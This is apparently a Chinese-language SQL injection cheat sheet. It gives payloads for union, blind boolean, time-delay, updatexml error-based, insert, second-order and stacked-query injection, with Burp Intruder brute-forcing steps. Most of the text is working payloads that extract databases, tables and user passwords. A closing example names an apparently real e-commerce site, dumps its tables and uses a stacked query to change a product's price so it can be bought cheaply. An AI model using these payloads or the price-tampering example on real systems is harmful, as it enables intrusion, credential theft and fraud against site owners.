数据库名
# 查询所有数据库
?id=0' union select 1, group_concat(schema_name),3 from information_schema.schemata %23
表名
# 查询某一个数据库的所有表
?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where
table_schema='数据库名' %23
# 用limit 来一个一个找
?id=-3' union select 1,1,table_name from information_schema.tables where table_schema=database() limit 0,1 %23
# 直接用group_concat来找出所有表名,查询当前数据库
?id=-3' union select 1,1,group_concat(table_name) from information_schema.tables where table_schema=database() %23
表结构
?id=-3' union select 1,1,group_concat(COLUMN_NAME) from INFORMATION_SCHEMA.Columns where table_schema=database() and table_name='表名' %23
某些情况下把表名字符串(不包括引号)通过转换成0x16进制,去掉单引号,前加0x
。
数据全查询
?id=0' union select 1,group_concat(username),group_concat(password) from users %23
or 1
可以与任何形式组合成真。在查询中,用如下的语句来进行全局查找,可以一行一行的输入表中的内容
?id=1' or 1 limit 0,1 %23
在post登录情景下,如果知道用户名admin,则可以用admin'#
来闭合,当不知道用户名时,可以使用任何形式拼接or 1的方法实现闭合d' or 1 #
,也可以实现查询d' or 1 limit 0,1 #
。
union之后是查询语句,查询的条数与数据库表的结构一致,所以需要通过order by准确判断出表有几栏。
and 1=2
,在登录情境下,可以用不正确的用户名,需要判断出每一栏在页面中显示的位置。特别注意: 当查询字段是sql关键字时需要用单引号包裹。
问题:正确显示就显示固定字符,不正确不显示。
解决: 可以通过显示不显示来判断是否是正确的
查询数据库名
# 判断数据库名的长度=8,通过<9显示信息,<8不显示信息
?id=1' and length(database())< num %23
# 判断数据库名的第一个字符是115,ascII中是字符s,通过<116显示信息,<115不显示信息
?id=1' and ord( substr(database(),1,1))
查询表名
# 开始查询表名 limit控制第几个表,substr 控制某个表名的字符
# Notice : 注意,查询表的语句要放在括号里,即:?id=1' and ord(substr((查询表的语句),1,1 )) = 101 %23
# 通过判断是否显示来判断
浏览器开启代理,输入需要计算表名的代码如下:
?id=1' and ord(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1 )) = 9 %23
在brup中进行拦截,并将其发送到intruder中,在Positions中,将需要改变的两个变量进行add,方式选择cluste bomb方式,因为var1每次去一个值都需要var2取遍全值。
# 需要改变var1和var2的值
?id=1' and ord(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),var1,1 )) = var2 %23
然后Payloads中对两个变量规定范围,此时,var1类型为Numbers取值为1-5(因为可以测出表名为5个字符,当然可以大于5),var2类型为Numbers取值为48-122(ascii中从0到z),所以选择如下
然后进行爆破即可。
完成后根据Length或者status找出不同,然后根据Payload1从1到5对应出Payload2的值即可。
问题:正确显示就显示固定字符串,不正确也显示固定字符串。
解决: 利用页面时间延时来判断,代码if (1<2,sleep(5),1) 如果正确的话就睡眠5s,看一下F12network网络里面的时间进行判断
判断闭合方式
?id=1" and if((1=1),sleep(5),1) %23 #延时5072ms
?id=1" and if((1=2),sleep(5),1) %23 #延时88ms
# 说明闭合成功
查询数据库的名称开始
# 判断数据库名的长度=8,通过<9显示信息,<8不显示信息
?id=1" and if((length(database())=8),sleep(5),1) %23
# 判断数据库名的第一个字符是115,ascII中是字符s,通过<115显示信息,<118不显示信息
?id=1" and if((ord(substr(database(),1,1))=115),sleep(5),1) %23
# 判断数据库名的第二个字符是101,ascII中是字符e
?id=1" and if((ord(substr(database(),2,2))=101),sleep(5),1) %23
# 然后逐步判断出数据库名全部的8个字符
查询表名开始
# 开始查询表名 limit控制第几个表,substr 控制某个表名的字符
# Notice : 注意,查询表的语句要放在括号里,即:
# ?id=1' and ord(substr((查询表的语句),1,1 )) = 101 %23
# 通过判断是否显示来判断
利用updatexml(XML_document, XPath_string, new_value)进行报错注入
场景:有些时候,使用联合查询需要先判断出行数,而行数有些时候因为网页的复杂难以判别,所以可以利用报错的信息,在报错信息中显示查询的内容
格式:
1' or updatexml(1,concat(0x7e,user(),0x7e),1) #
user()可以换成select语句,
sql 的语法理解帮助
构造注入语句:select username from tb_user where userid=1 and updatexml(1,concat('~',(select database()),'~'),3);
可以在错误信息中显示数据库的名称
问题: 错误信息显示只能显示固定的前31个字符,所以有时需要利用substr(str,开始位置,结束位置)
函数来显示。开始位置从1开始
# 利用错误函数一条一条爆出表名 ,select后只能查询一条信息
1' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1) #
# 利用错误函数爆出全部表名,显示前30个字符
1' or updatexml(1,substr(concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1,30),1) #
# 利用错误函数爆出全部表名,显示后30个字符
1' or updatexml(1,substr(concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),31,60),1) #
场景:在注册,留言板模块,插入语句并不是查询语言,不能显示一些信息,可以结合报错注入进行注入。
格式:’ or updatexml(1,concat(0x7e,user(),0x7e),1),’’,’’,’’,’’,’’) #
在插入注入时判断闭合方式是否正确往往看注册成功与否
# 报错函数结合插入注入爆出表名
' or updatexml(1,substr(concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1,30),1),'','','','','') #
场景:也是在插入操作中,因为使用了 addslashes 或者是借助 get_magic_quotes_gpc 对插入的特殊字符进行了转义,导致注入失败,但是addslashes虽然参数在过滤后会添加 “\” 进行转义,但是“\”并不会插入到数据库中,在写入数据库的时候还是保留了原来的数据,在将数据存入到了数据库中之后,下一次需要进行查询的时候,直接从数据库中取出了脏数据,这样就会造成SQL的二次注入。比如在第一次插入数据的时候,数据中带有单引号,直接插入到了数据库中;然后在下一次使用中在拼凑的过程中,就形成了二次注入。
案例: 注册登陆后修改密码
sqlilab-24
在账户和密码处发现不能闭合,没有注入点,因为代码中进行了转义,点击注册处,注册处可能存在插入注入,用报错注入发现也不行,然后注册了一个正常账号,登陆,发现可以修改密码,考虑二次注入。
注册admin' #
,然后登陆后直接修改密码可以修改管理员admin的密码
。
原理是用户admin' #
存储到数据库中,当需要修改密码时,执行update table set password='xxx' where username='admin' # ' and password ='admin的密码'
。此时的#
已经把后面的密码验证给注释了,所以能顺利修改admin
的密码。
堆查询是什么? 一堆语句,可以同时执行。中间用;
号分开。
与联合查询的区别,联合查询顾名思义是查询,只能是select语句,插入更改删除不能在联合中。如下会报错:
select * from tb_user union update tb_user set username='admin03' where userid=2;
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'update tb_user set username='admin03' where userid=2' at line 1
堆查询不会报错:如下:
select * from tb_user;update tb_user set username='admin03' where userid=2;
应用场景:某商品价格1000元,自己账户只有1元,联合查询注入只能显示内容,此时并不能实现用1元购买1000元商品,所以考虑将商品价格更改为0.5元,但是联合查询不能更改,可以用堆注入进行价格的修改。
案例: https://tooqq.com/
有6个
https://tooqq.com/home/index/confirm?id=175) and 1=2 union select 1,2,3,group_concat(table_name),database(),6 from information_schema.tables where table_schema=database() %23 &num=1&t=0.12912184857840947
think_act,think_bmd,think_goods,think_ip,think_jfconfig,think_jflist,think_jfset,think_kucun,think_orderlist,think_server,think_user
https://tooqq.com/home/index/confirm?id=175) and 1=2 union select 1,2,3,group_concat(COLUMN_NAME),database(),6 from information_schema.tables where table_schema=database() and table_name=‘think_bmd’ %23 &num=1&t=0.12912184857840947
https://tooqq.com/home/index/confirm?id=175) ; update think_goods set price=39 where id=175 %23 &num=1&t=0.12912184857840947
limit a,b
:从第a+1行开始显示b行数据,a从0开始计数,limit 3,2表示第4行第5行。通过limit 0,1 , limit 1,1 , limit 2…可以逐个遍历,当然也可以使用group_concat()函数一次性输出。
limit
的限定是两个union语句联合执行后的限定,即:
select ..union select limit 相当于 (select ..union select) limit
limit (0,1) 第一行
limit (1,1) 第2行
limit (1,2) 第2,3行
limit (2,2) 第3,4行
盲注在正常状态下也可以使用的
关于or
的坑:注意id
值和第几行的值的不同,因为id的值与第几行并一定相等,id=199的数据可能在第三行,所以用?id=1' or 1 limit 0,1
来进行全局查找。